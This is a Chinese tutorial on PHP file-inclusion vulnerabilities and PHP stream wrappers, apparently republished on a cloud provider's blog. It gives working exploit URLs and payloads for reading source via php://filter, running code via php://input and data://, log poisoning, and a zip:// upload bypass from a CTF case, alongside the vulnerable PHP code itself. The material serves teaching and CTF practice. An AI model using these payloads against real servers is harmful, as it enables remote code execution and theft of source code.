91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

文件包含及PHP偽協議怎么用

發布時間:2022-05-05 09:45:12 來源:億速云 閱讀:216 作者:iii 欄目:編程語言

今天小編給大家分享一下文件包含及PHP偽協議怎么用的相關知識點,內容詳細,邏輯清晰,相信大部分人都還太了解這方面的知識,所以分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后有所收獲,下面我們一起來了解一下吧。

文件包含及PHP偽協議怎么用

文件包含

文件包含漏洞是“代碼注入”的一種。其原理就是注入一段用戶能控制的腳本或代碼,并讓服務端執行。“代碼注入”的典型代表就是文件包含。

要想成功利用文件包含漏洞進行攻擊,需要滿足以下兩個條件:

  • Web應用采用include()等文件包含函數通過動態變量的方式引入需要包含的文件;

  • 用戶能夠控制該動態變量。

常見的導致文件包含的函數:
PHP:include()、include_once()、require()、require_once()等;
1.php文件包含可以直接執行包含文件的代碼,包含的文件格式不受任何限制
在 php 中提供了四個文件包含函數:
(1) Require: 找不到被包含的文件時會產生致命錯誤(E_COMPILE_ERROR),并停止腳本;
(2) Include:找不到被包含的文件時只會產生一個(E_warinng),腳本將繼續執行;
(3) Require_once:與 include 類似會產生警告,區別是如果文件代碼已經被包含,則不會再次被包含;

PHP偽協議

php偽協議,事實上是其支持的協議與封裝協議。而其支持的協議有:

file:// — 訪問本地文件系統

php:// — 訪問各個輸入/輸出流(I/O streams)data:// — 數據(RFC 2397)zip:// — 壓縮流

文件包含及PHP偽協議怎么用

all_url_include在php 5.2以后添加,安全方便的設置(php的默認設置)為:allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (允許打開URL文件,預設啟用)
allow_url_fopen = Off (禁止打開URL文件)
allow_url_include = Off (禁止引用URL文件,新版增加功能,預設關閉)
allow_url_include = On (允許引用URL文件,新版增加功能)

file協議

file:// 文件系統是 PHP 使用的默認封裝協議,展現了本地文件系統。

使用file://協議去包含本地的phpinfo.php

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php

文件包含及PHP偽協議怎么用

PHP協議

php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filter和php://input
php://filter用于讀取源碼:
php://input用于執行php代碼。

http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php

php://filter讀取php文件時候需要base64編碼
文件包含及PHP偽協議怎么用
php://input

  1. allow_url_include = On

php://input + [POST DATA]執行php代碼
需要***allow_url_include = On***

http://localhost/www/lfi.php?file=php://input

POST	<?system('ipconfig')?>

文件包含及PHP偽協議怎么用

  1. allow_url_include = Off

不過一般大部分情況下,allow_url_include 為默認關閉狀態,
就不能包含POST數據了,這種情況下可以包含apache日志或者錯誤日志記錄

首先需要fuzz大法,爆破出日志的路徑,

為了測試方便,我先將日志的內容清空,方便演示

訪問該網址,通過報錯將代碼寫入日志中
注意:這里要使用burp抓包去訪問,不然代碼會被url編碼寫入日志,就不能執行了
也可以將代碼寫入 user-agent中

http://localhost/www/lfi.php?file=<?php phpinfo();?>

文件包含及PHP偽協議怎么用

文件包含及PHP偽協議怎么用
我的日志路徑為:
F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

使用file://偽協議去讀取日志,發現phpinfo被成功執行了

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

文件包含及PHP偽協議怎么用

zip://協議

** zip:// & bzip2:// & zlib:// **均屬于壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定后綴名,可修改為任意后綴:jpg png gif xxx等等。

這里分析一個文件上傳和文件包含結合的CTF案例

首先分析文件上傳的源代碼

<html><form action="" enctype="multipart/form-data" method="post" name="upload">file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form><?phpif(!empty($_FILES["file"])){
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        //move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }}echo $_FILES["file"]["tmp_name"];?></html>

分析源代碼發現,文件上傳采用了白名單限制策略,只能上傳
“gif", “jpeg”, “jpg”, "png"四種后綴名的文件。

分析文件包含的源代碼

<html>Tips: the parameter is file! :) <!-- upload.php --></html><?php
    @$file = $_GET["file"];
    echo $file;
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }?>

分析文件包含源代碼,發現限制了部分偽協議和%00截斷,且在include中自動添加了php后綴名,但是沒有限制zip偽協議。

綜上分析可以發現,在文件包含中利用zip偽協議,可以創建test.zip的壓縮包,里面放著test.php的文件。

在文件上傳時候將后綴名zip修改為png的后綴名,

test.php中寫入木馬

<?phpphpinfo();?>

如下圖所示
文件包含及PHP偽協議怎么用

文件包含及PHP偽協議怎么用

圖片上傳成功之后,利用文件包含和zip://協議去讀取test.png中的test.php,發現phpinfo()被執行了,說明poc驗證成功

http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test

文件包含及PHP偽協議怎么用

data://

條件:

allow_url_fopen:on
allow_url_include :on

訪問網址

http://localhost/www/lfi.php?file=data://text/plain,<?php phpinfo();?>

也可以使用base64編碼,防止代碼被過濾掉

file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
文件包含及PHP偽協議怎么用

以上就是“文件包含及PHP偽協議怎么用”這篇文章的所有內容,感謝各位的閱讀!相信大家閱讀完這篇文章都有很大的收獲,小編每天都會為大家更新不同的知識,如果還想學習更多的知識,請關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

php
AI

防城港市| 马边| 遂昌县| 海门市| 余干县| 靖安县| 象山县| 内黄县| 梅河口市| 凤凰县| 泸州市| 汕尾市| 南陵县| 涞源县| 台北市| 平潭县| 怀仁县| 封丘县| 柳州市| 盈江县| 虹口区| 抚顺市| 启东市| 都昌县| 永兴县| 芒康县| 高陵县| 堆龙德庆县| 襄垣县| 葫芦岛市| 明光市| 福清市| 金坛市| 宝清县| 图木舒克市| 秦皇岛市| 南通市| 馆陶县| 潼关县| 深圳市| 东宁县|